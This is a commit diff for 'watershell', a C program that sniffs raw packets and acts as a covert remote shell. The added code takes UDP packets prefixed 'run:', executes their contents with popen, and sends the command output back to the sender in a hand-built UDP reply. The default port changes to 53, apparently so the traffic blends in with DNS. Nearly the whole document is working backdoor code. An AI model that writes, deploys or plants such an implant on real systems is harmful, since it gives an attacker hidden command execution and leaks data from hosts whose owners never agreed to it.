Spencer/watershell
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

added output from watershell and made little cli for it

Browse Source
This commit is contained in:
Nicholas O'Brien
2019-03-21 02:58:55 -04:00
parent afc2b30bb4
commit 3965222569
3 changed files with 100 additions and 25 deletions
Download Patch File Download Diff File Expand all files Collapse all files

65
watershell.c
View File

@@ -17,10 +17,10 @@
/* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */
#ifndef IFACE
#define IFACE "ens160"
#define IFACE "ens33"
#endif
#ifndef PORT
#define PORT 80
#define PORT 53
#endif
#ifndef PROMISC
#define PROMISC false
@@ -156,18 +156,45 @@ int main(int argc, char *argv[])
ip = (struct iphdr *)(buf + sizeof(struct ethhdr));
udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr));
udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
//checkup on the service, make sure it is still there
if(!strncmp(udpdata, "status:", 7)){
send_status(buf, "up");
}
//run a command if the data is prefixed with run:
if (!strncmp(udpdata, "run:", 4)){
int out = open("/dev/null", O_WRONLY);
int err = open("/dev/null", O_WRONLY);
dup2(out, 0);
dup2(err, 2);
code = system(udpdata + 4); //replace with fork + exec
FILE *fd;
fd = popen(udpdata + 4, "r");
if (!fd) return -1;
char buffer[256];
size_t chread;
/* String to store entire command contents in */
size_t comalloc = 256;
size_t comlen = 0;
char *comout = malloc(comalloc);
/* Use fread so binary data is dealt with correctly */
while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) {
if (comlen + chread >= comalloc) {
comalloc *= 2;
comout = realloc(comout, comalloc);
}
memmove(comout + comlen, buffer, chread);
comlen += chread;
}
pclose(fd);
send_status(buf, comout);
}
//checkup on the service, make sure it is still there
if(!strncmp(udpdata, "status", 6))
send_status(buf, code);
}
return 0;
}
@@ -191,22 +218,16 @@ void sigint(int signum){
}
//send a reply
void send_status(unsigned char *buf, int code){
void send_status(unsigned char *buf, char *payload){
struct udpframe frame;
struct sockaddr_ll saddrll;
struct sockaddr_in sin;
int len = snprintf(NULL, 0, "%d", code);
char *prefix = "LISTENING: ";
char *ccode = (char*)calloc(1, len+1);
char *data = calloc(1, strlen(prefix)+len+2);
int len;
//setup the data
memset(&frame, 0, sizeof(frame));
snprintf(ccode, len+1, "%d", code);
strncpy(data, prefix, strlen(prefix));
strncat(data, ccode, len+1);
strncat(data, "\n", 1);
strncpy(frame.data, data, strlen(data));
strncpy(frame.data, payload, strlen(payload));
//get the ifindex
if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){
@@ -230,7 +251,7 @@ void send_status(unsigned char *buf, int code){
frame.ip.frag_off |= htons(IP_DF);
frame.ip.ttl = 64;
frame.ip.tos = 0;
frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + strlen(data));
frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + strlen(payload));
frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr;
frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr;
frame.ip.protocol = IPPROTO_UDP;
@@ -238,19 +259,15 @@ void send_status(unsigned char *buf, int code){
//layer 4
frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest;
frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source;
frame.udp.len = htons(strlen(data) + sizeof(frame.udp));
frame.udp.len = htons(strlen(payload) + sizeof(frame.udp));
//checksums
//udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
ip_checksum(&frame.ip);
//calculate total length and send
len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(data);
len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(payload);
sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll));
//cleanup
free(ccode);
free(data);
}
/* checksum functions from http://www.roman10.net/how-to-calculate-iptcpudp-checksumpart-2-implementation/ */